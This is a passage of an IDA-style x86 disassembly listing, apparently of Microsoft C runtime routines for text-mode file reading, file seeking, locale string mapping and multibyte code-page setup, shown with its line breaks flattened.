[ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41C2C6: ; CODE XREF: sub_41C251+56j ; sub_41C251+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_421068 ; ReadFile test eax, eax jnz short loc_41C319 call dword_421088 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41C301 mov dword_46B634, 9 mov dword_46B638, ecx jmp loc_41C43F ; --------------------------------------------------------------------------- loc_41C301: ; CODE XREF: sub_41C251+99j cmp eax, 6Dh jnz short loc_41C30D loc_41C306: ; CODE XREF: sub_41C251+4Cj ; sub_41C251+51j xor eax, eax jmp loc_41C442 ; --------------------------------------------------------------------------- loc_41C30D: ; CODE XREF: sub_41C251+B3j push eax call sub_41CE74 pop ecx jmp loc_41C43F ; --------------------------------------------------------------------------- loc_41C319: ; CODE XREF: sub_41C251+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41C429 test edx, edx jz short loc_41C33E cmp byte ptr [edi], 0Ah jnz short loc_41C33E or al, 4 jmp short loc_41C340 ; --------------------------------------------------------------------------- loc_41C33E: ; CODE XREF: sub_41C251+E2j ; sub_41C251+E7j and al, 0FBh loc_41C340: ; CODE XREF: sub_41C251+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41C423 loc_41C358: ; CODE XREF: sub_41C251+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41C413 cmp al, 0Dh jz short loc_41C374 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41C405 ; --------------------------------------------------------------------------- loc_41C374: ; CODE XREF: sub_41C251+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41C392 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41C389 add [ebp+arg_8], 2 jmp short loc_41C3E7 ; --------------------------------------------------------------------------- loc_41C389: ; CODE XREF: sub_41C251+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41C405 ; --------------------------------------------------------------------------- loc_41C392: ; CODE XREF: sub_41C251+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421068 ; ReadFile test eax, eax jnz short loc_41C3BA call dword_421088 ; RtlGetLastWin32Error test eax, eax jnz short loc_41C401 loc_41C3BA: ; CODE XREF: sub_41C251+15Dj cmp [ebp+var_C], 0 jz short loc_41C401 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41C3DC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41C3E7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41C405 ; --------------------------------------------------------------------------- loc_41C3DC: ; CODE XREF: sub_41C251+176j cmp edi, [ebp+arg_4] jnz short loc_41C3EC cmp [ebp+var_1], 0Ah jnz short loc_41C3EC loc_41C3E7: ; CODE XREF: sub_41C251+136j ; sub_41C251+17Dj mov byte ptr [edi], 0Ah jmp short loc_41C404 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C251+18Ej ; sub_41C251+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41C447 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41C405 loc_41C401: ; CODE XREF: sub_41C251+167j ; sub_41C251+16Dj mov byte ptr [edi], 0Dh loc_41C404: ; CODE XREF: sub_41C251+199j inc edi loc_41C405: ; CODE XREF: sub_41C251+11Ej ; sub_41C251+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41C358 jmp short loc_41C423 ; --------------------------------------------------------------------------- loc_41C413: ; CODE XREF: sub_41C251+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41C423 or al, 2 mov [esi], al loc_41C423: ; CODE XREF: sub_41C251+101j ; sub_41C251+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41C429: ; CODE XREF: sub_41C251+DAj mov eax, [ebp+var_8] jmp short loc_41C442 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C251+12j ; sub_41C251+39j and dword_46B638, 0 mov dword_46B634, 9 loc_41C43F: ; CODE XREF: sub_41C251+ABj ; sub_41C251+C3j or eax, 0FFFFFFFFh loc_41C442: ; CODE XREF: sub_41C251+B7j ; sub_41C251+1DBj pop edi pop esi pop ebx leave retn sub_41C251 endp ; =============== S U B R O U T I N E ======================================= sub_41C447 proc near ; CODE XREF: sub_416CDE+67p ; sub_417C57+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_46CA60 push esi push edi jnb short loc_41C4C9 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46C960h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41C4C9 push eax call sub_41DD62 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41C48B mov dword_46B634, 9 jmp short loc_41C4DA ; --------------------------------------------------------------------------- loc_41C48B: ; CODE XREF: sub_41C447+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_4210AC ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41C4AB call dword_421088 ; RtlGetLastWin32Error jmp short loc_41C4AD ; --------------------------------------------------------------------------- loc_41C4AB: ; CODE XREF: sub_41C447+5Aj xor eax, eax loc_41C4AD: ; CODE XREF: sub_41C447+62j test eax, eax jz short loc_41C4BA push eax call sub_41CE74 pop ecx jmp short loc_41C4DA ; --------------------------------------------------------------------------- loc_41C4BA: ; CODE XREF: sub_41C447+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41C4DD ; --------------------------------------------------------------------------- loc_41C4C9: ; CODE XREF: sub_41C447+Dj ; sub_41C447+2Aj and dword_46B638, 0 mov dword_46B634, 9 loc_41C4DA: ; CODE XREF: sub_41C447+42j ; sub_41C447+71j or eax, 0FFFFFFFFh loc_41C4DD: ; CODE XREF: sub_41C447+80j pop edi pop esi pop ebx retn sub_41C447 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4E1 proc near ; CODE XREF: sub_416CDE+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41C4FD mov [edi+4], ebx loc_41C4FD: ; CODE XREF: sub_41C4E1+17j push 1 push ebx push esi call sub_41C447 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41C56B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41C522 sub eax, [edi+4] jmp loc_41C634 ; --------------------------------------------------------------------------- loc_41C522: ; CODE XREF: sub_41C4E1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41C55C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_46C960[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41C573 mov edx, ecx loc_41C54D: ; CODE XREF: sub_41C4E1+79j cmp edx, eax jnb short loc_41C573 cmp byte ptr [edx], 0Ah jnz short loc_41C559 inc [ebp+var_8] loc_41C559: ; CODE XREF: sub_41C4E1+73j inc edx jmp short loc_41C54D ; --------------------------------------------------------------------------- loc_41C55C: ; CODE XREF: sub_41C4E1+50j test dl, 80h jnz short loc_41C573 mov dword_46B634, 16h loc_41C56B: ; CODE XREF: sub_41C4E1+2Dj or eax, 0FFFFFFFFh jmp loc_41C634 ; --------------------------------------------------------------------------- loc_41C573: ; CODE XREF: sub_41C4E1+68j ; sub_41C4E1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41C581 mov eax, [ebp+var_8] jmp loc_41C634 ; --------------------------------------------------------------------------- loc_41C581: ; CODE XREF: sub_41C4E1+96j test byte ptr [edi+0Ch], 1 jz loc_41C62C mov edx, [edi+4] test edx, edx jnz short loc_41C59A and [ebp+var_8], edx jmp loc_41C62C ; --------------------------------------------------------------------------- loc_41C59A: ; CODE XREF: sub_41C4E1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:46C960h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41C626 push 2 push 0 push [ebp+var_C] call sub_41C447 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41C5ED mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41C5D8: ; CODE XREF: sub_41C4E1+104j cmp eax, ecx jnb short loc_41C5E7 cmp byte ptr [eax], 0Ah jnz short loc_41C5E4 inc [ebp+arg_0] loc_41C5E4: ; CODE XREF: sub_41C4E1+FEj inc eax jmp short loc_41C5D8 ; --------------------------------------------------------------------------- loc_41C5E7: ; CODE XREF: sub_41C4E1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41C621 ; --------------------------------------------------------------------------- loc_41C5ED: ; CODE XREF: sub_41C4E1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41C447 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41C614 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41C614 test ch, 4 jz short loc_41C617 loc_41C614: ; CODE XREF: sub_41C4E1+124j ; sub_41C4E1+12Cj mov eax, [edi+18h] loc_41C617: ; CODE XREF: sub_41C4E1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41C621: ; CODE XREF: sub_41C4E1+10Aj jz short loc_41C626 inc [ebp+arg_0] loc_41C626: ; CODE XREF: sub_41C4E1+D9j ; sub_41C4E1:loc_41C621j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41C62C: ; CODE XREF: sub_41C4E1+A4j ; sub_41C4E1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41C634: ; CODE XREF: sub_41C4E1+3Cj ; sub_41C4E1+8Dj ... pop edi pop esi pop ebx leave retn sub_41C4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C639 proc near ; CODE XREF: sub_417033+A3p ; sub_41B539+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4218A8 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_46B6C0, edi jnz short loc_41C6AF push edi push edi push 1 pop ebx push ebx push offset dword_4218A0 mov esi, 100h push esi push edi call dword_421194 ; LCMapStringW test eax, eax jz short loc_41C68D mov dword_46B6C0, ebx jmp short loc_41C6AF ; --------------------------------------------------------------------------- loc_41C68D: ; CODE XREF: sub_41C639+4Aj push edi push edi push ebx push offset dword_43B198 push esi push edi call dword_421190 ; LCMapStringA test eax, eax jz loc_41C7C7 mov dword_46B6C0, 2 loc_41C6AF: ; CODE XREF: sub_41C639+2Ej ; sub_41C639+52j cmp [ebp+arg_C], edi jle short loc_41C6C4 push [ebp+arg_C] push [ebp+arg_8] call sub_420396 pop ecx pop ecx mov [ebp+arg_C], eax loc_41C6C4: ; CODE XREF: sub_41C639+79j mov eax, dword_46B6C0 cmp eax, 2 jnz short loc_41C6EB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 ; LCMapStringA jmp loc_41C7C9 ; --------------------------------------------------------------------------- loc_41C6EB: ; CODE XREF: sub_41C639+93j cmp eax, 1 jnz loc_41C7C7 cmp [ebp+arg_18], edi jnz short loc_41C701 mov eax, dword_46B6DC mov [ebp+arg_18], eax loc_41C701: ; CODE XREF: sub_41C639+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41C7C7 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_415B90 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C75C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41C75C: ; CODE XREF: sub_41C639+10Ej cmp [ebp+var_24], edi jz short loc_41C7C7 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_421064 ; MultiByteToWideChar test eax, eax jz short loc_41C7C7 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421194 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41C7C7 test byte ptr [ebp+arg_4+1], 4 jz short loc_41C7DB cmp [ebp+arg_14], edi jz loc_41C856 cmp esi, [ebp+arg_14] jg short loc_41C7C7 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421194 ; LCMapStringW test eax, eax jnz loc_41C856 loc_41C7C7: ; CODE XREF: sub_41C639+66j ; sub_41C639+B5j ... xor eax, eax loc_41C7C9: ; CODE XREF: sub_41C639+ADj ; sub_41C639+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41C7DB: ; CODE XREF: sub_41C639+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415B90 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41C80F ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41C80F: ; CODE XREF: sub_41C639+1C2j cmp ebx, edi jz short loc_41C7C7 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421194 ; LCMapStringW test eax, eax jz short loc_41C7C7 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41C836 push edi push edi jmp short loc_41C83C ; --------------------------------------------------------------------------- loc_41C836: ; CODE XREF: sub_41C639+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41C83C: ; CODE XREF: sub_41C639+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_421138 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41C7C7 loc_41C856: ; CODE XREF: sub_41C639+165j ; sub_41C639+188j mov eax, esi jmp loc_41C7C9 sub_41C639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C85D proc near ; CODE XREF: sub_41CC21+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41C9F6 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_46CA64 mov [ebp+arg_0], esi jz loc_41C9EA xor ebx, ebx cmp esi, ebx jz loc_41C9E0 xor edx, edx mov eax, offset dword_43A2C0 loc_41C891: ; CODE XREF: sub_41C85D+41j cmp [eax], esi jz short loc_41C907 add eax, 30h inc edx cmp eax, offset dword_43A3B0 jl short loc_41C891 lea eax, [ebp+var_18] push eax push esi call dword_421198 ; GetCPInfo cmp eax, 1 jnz loc_41C9D8 push 40h xor eax, eax pop ecx mov edi, offset byte_46CB80 cmp [ebp+var_18], 1 mov dword_46CA64, esi rep stosd stosb mov dword_46CC84, ebx jbe loc_41C9C6 cmp [ebp+var_12], 0 jz loc_41C99C lea ecx, [ebp+var_11] loc_41C8E4: ; CODE XREF: sub_41C85D+139j mov dl, [ecx] test dl, dl jz loc_41C99C movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41C8F5: ; CODE XREF: sub_41C85D+A8j cmp eax, edx ja loc_41C990 or byte_46CB81[eax], 4 inc eax jmp short loc_41C8F5 ; --------------------------------------------------------------------------- loc_41C907: ; CODE XREF: sub_41C85D+36j push 40h xor eax, eax pop ecx mov edi, offset byte_46CB80 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43A2D0[esi] loc_41C923: ; CODE XREF: sub_41C85D+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41C956 loc_41C92A: ; CODE XREF: sub_41C85D+F7j mov dl, [ecx+1] test dl, dl jz short loc_41C956 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41C94F mov edx, [ebp+var_4] mov dl, byte_43A2B8[edx] loc_41C944: ; CODE XREF: sub_41C85D+F0j or byte_46CB81[eax], dl inc eax cmp eax, edi jbe short loc_41C944 loc_41C94F: ; CODE XREF: sub_41C85D+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41C92A loc_41C956: ; CODE XREF: sub_41C85D+CBj ; sub_41C85D+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41C923 mov eax, [ebp+arg_0] mov dword_46CA7C, 1 push eax mov dword_46CA64, eax call sub_41CA40 lea esi, dword_43A2C4[esi] mov edi, offset dword_46CA70 movsd movsd pop ecx mov dword_46CC84, eax movsd jmp short loc_41C9E5 ; --------------------------------------------------------------------------- loc_41C990: ; CODE XREF: sub_41C85D+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41C8E4 loc_41C99C: ; CODE XREF: sub_41C85D+7Ej ; sub_41C85D+8Bj push 1 pop eax loc_41C99F: ; CODE XREF: sub_41C85D+14Fj or byte_46CB81[eax], 8 inc eax cmp eax, 0FFh jb short loc_41C99F push esi call sub_41CA40 pop ecx mov dword_46CC84, eax mov dword_46CA7C, 1 jmp short loc_41C9CC ; --------------------------------------------------------------------------- loc_41C9C6: ; CODE XREF: sub_41C85D+74j mov dword_46CA7C, ebx loc_41C9CC: ; CODE XREF: sub_41C85D+167j xor eax, eax mov edi, offset dword_46CA70 stosd stosd stosd jmp short loc_41C9E5 ; --------------------------------------------------------------------------- loc_41C9D8: ; CODE XREF: sub_41C85D+51j cmp dword_46B6E4, ebx jz short loc_41C9EE loc_41C9E0: ; CODE XREF: sub_41C85D+27j call sub_41CA73 loc_41C9E5: ; CODE XREF: sub_41C85D+131j ; sub_41C85D+179j call sub_41CA9C loc_41C9EA: ; CODE XREF: sub_41C85D+1Dj xor eax, eax jmp short loc_41C9F1 ; --------------------------------------------------------------------------- loc_41C9EE: ; CODE XREF: sub_41C85D+181j or eax, 0FFFFFFFFh loc_41C9F1: ; CODE XREF: sub_41C85D+18Fj pop edi pop esi pop ebx leave retn sub_41C85D endp ; =============== S U B R O U T I N E ======================================= sub_41C9F6 proc near ; CODE XREF: sub_41C85D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_46B6E4, 0 cmp eax, 0FFFFFFFEh jnz short loc_41CA16 mov dword_46B6E4, 1 jmp dword_4211A0 ; --------------------------------------------------------------------------- loc_41CA16: ; CODE XREF: sub_41C9F6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41CA2B mov dword_46B6E4, 1 jmp dword_42119C ; --------------------------------------------------------------------------- loc_41CA2B: ; CODE XREF: sub_41C9F6+23j cmp eax, 0FFFFFFFCh jnz short locret_41CA3F mov eax, dword_46B6DC mov dword_46B6E4, 1 locret_41CA3F: ; CODE XREF: sub_41C9F6+38j retn sub_41C9F6 endp ; =============== S U B R O U T I N E ======================================= sub_41CA40 proc near ; CODE XREF: sub_41C85D+118p ; sub_41C85D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41CA6D sub eax, 4 jz short loc_41CA67 sub eax, 0Dh jz short loc_41CA61 dec eax jz short loc_41CA5B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA5B: ; CODE XREF: sub_41CA40+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41CA61: ; CODE XREF: sub_41CA40+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41CA67: ; CODE XREF: sub_41CA40+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41CA6D: ; CODE XREF: sub_41CA40+9j mov eax, 411h retn sub_41CA40 endp ; =============== S U B R O U T I N E ======================================= sub_41CA73 proc near ; CODE XREF: sub_41C85D:loc_41C9E0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_46CB80 rep stosd stosb xor eax, eax mov edi, offset dword_46CA70 mov dword_46CA64, eax mov dword_46CA7C, eax mov dword_46CC84, eax stosd stosd stosd pop edi retn sub_41CA73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA9C proc near ; CODE XREF: sub_41C85D:loc_41C9E5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_46CA64 call dword_421198 ; GetCPInfo cmp eax, 1 jnz loc_41CBD5 xor eax, eax mov esi, 100h loc_41CAC6: ; CODE XREF: sub_41CA9C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41CAC6 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41CB17 push ebx push edi lea edx, [ebp+var_D] loc_41CAE5: ; CODE XREF: sub_41CA9C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41CB0C sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41CB0C: ; CODE XREF: sub_41CA9C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41CAE5 pop edi pop ebx loc_41CB17: ; CODE XREF: sub_41CA9C+42j push 0 lea eax, [ebp+var_514] push dword_46CC84 push dword_46CA64 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41DA93 push 0 lea eax, [ebp+var_214] push dword_46CA64 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_46CC84 call sub_41C639 push 0 lea eax, [ebp+var_314] push dword_46CA64 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_46CC84 call sub_41C639 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41CB92: ; CODE XREF: sub_41CA9C+135j mov dx, [ecx] test dl, 1 jz short loc_41CBB0 or byte_46CB81[eax], 10h mov dl, [ebp+eax+var_214] loc_41CBA8: ; CODE XREF: sub_41CA9C+127j mov byte_46CA80[eax], dl jmp short loc_41CBCC ; --------------------------------------------------------------------------- loc_41CBB0: ; CODE XREF: sub_41CA9C+FCj test dl, 2 jz short loc_41CBC5 or byte_46CB81[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41CBA8 ; --------------------------------------------------------------------------- loc_41CBC5: ; CODE XREF: sub_41CA9C+117j and byte_46CA80[eax], 0 loc_41CBCC: ; CODE XREF: sub_41CA9C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41CB92 jmp short loc_41CC1E ; --------------------------------------------------------------------------- loc_41CBD5: ; CODE XREF: sub_41CA9C+1Dj xor eax, eax mov esi, 100h loc_41CBDC: ; CODE XREF: sub_41CA9C+180j cmp eax, 41h jb short loc_41CBFA cmp eax, 5Ah ja short loc_41CBFA or byte_46CB81[eax], 10h mov cl, al add cl, 20h loc_41CBF2: ; CODE XREF: sub_41CA9C+174j mov byte_46CA80[eax], cl jmp short loc_41CC19 ; --------------------------------------------------------------------------- loc_41CBFA: ; CODE XREF: sub_41CA9C+143j ; sub_41CA9C+148j cmp eax, 61h jb short loc_41CC12 cmp eax, 7Ah ja short loc_41CC12 or byte_46CB81[eax], 20h mov cl, al sub cl, 20h jmp short loc_41CBF2 ; --------------------------------------------------------------------------- loc_41CC12: ; CODE XREF: sub_41CA9C+161j ; sub_41CA9C+166j and byte_46CA80[eax], 0 loc_41CC19: ; CODE XREF: sub_41CA9C+15Cj inc eax cmp eax, esi jb short loc_41CBDC loc_41CC1E: ; CODE XREF: sub_41CA9C+137j pop esi leave retn sub_41CA9C endp ; =============== S U B R O U T I N E ======================================= sub_41CC21 proc near ; CODE XREF: sub_41D05F+9p ; sub_41D0B7+Dp ... cmp dword_46CCB4, 0 jnz short locret_41CC3C push 0FFFFFFFDh call sub_41C85D pop ecx mov dword_46CCB4, 1 locret_41CC3C: ; CODE XREF: sub_41CC21+7j retn sub_41CC21 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CC3D proc near ; CODE XREF: sub_4171E8+2Bp ; sub_4171E8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_46CA7C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41CC61 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416BE0 add esp, 0Ch jmp short loc_41CCC4 ; --------------------------------------------------------------------------- loc_41CC61: ; CODE XREF: sub_41CC3D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41CCA6 mov ecx, [ebp+arg_4] loc_41CC6C: ; CODE XREF: sub_41CC3D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_46CB81[esi], 4 mov [edi], al jz short loc_41CC90 inc edi inc ecx test edx, edx jz short loc_41CC9C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41CCA2 jmp short loc_41CC96 ; --------------------------------------------------------------------------- loc_41CC90: ; CODE XREF: sub_41CC3D+3Ej inc edi inc ecx test al, al jz short loc_41CCA6 loc_41CC96: ; CODE XREF: sub_41CC3D+51j test edx, edx jnz short loc_41CC6C jmp short loc_41CCA6 ; --------------------------------------------------------------------------- loc_41CC9C: ; CODE XREF: sub_41CC3D+44j and byte ptr [edi-1], 0 jmp short loc_41CCA6 ; --------------------------------------------------------------------------- loc_41CCA2: ; CODE XREF: sub_41CC3D+4Fj and byte ptr [edi-2], 0 loc_41CCA6: ; CODE XREF: sub_41CC3D+2Aj ; sub_41CC3D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41CCC1 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41CCC1: ; CODE XREF: sub_41CC3D+6Fj mov eax, [ebp+arg_0] loc_41CCC4: ; CODE XREF: sub_41CC3D+22j pop edi pop ebp retn sub_41CC3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCC7 proc near ; CODE XREF: sub_41761F+A2p ; sub_417C57+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_46CA60 push esi push edi jnb loc_41CE5B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:46C960h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41CE5B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41CD18 loc_41CD11: ; CODE XREF: sub_41CCC7+177j xor eax, eax jmp loc_41CE6F ; --------------------------------------------------------------------------- loc_41CD18: ; CODE XREF: sub_41CCC7+48j test al, 20h jz short loc_41CD28 push 2 push edi push ecx call sub_41C447 add esp, 0Ch loc_41CD28: ; CODE XREF: sub_41CCC7+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41CDF7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41CE2F loc_41CD48: ; CODE XREF: sub_41CCC7+F5j lea eax, [ebp+var_414] loc_41CD4E: ; CODE XREF: sub_41CCC7+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short 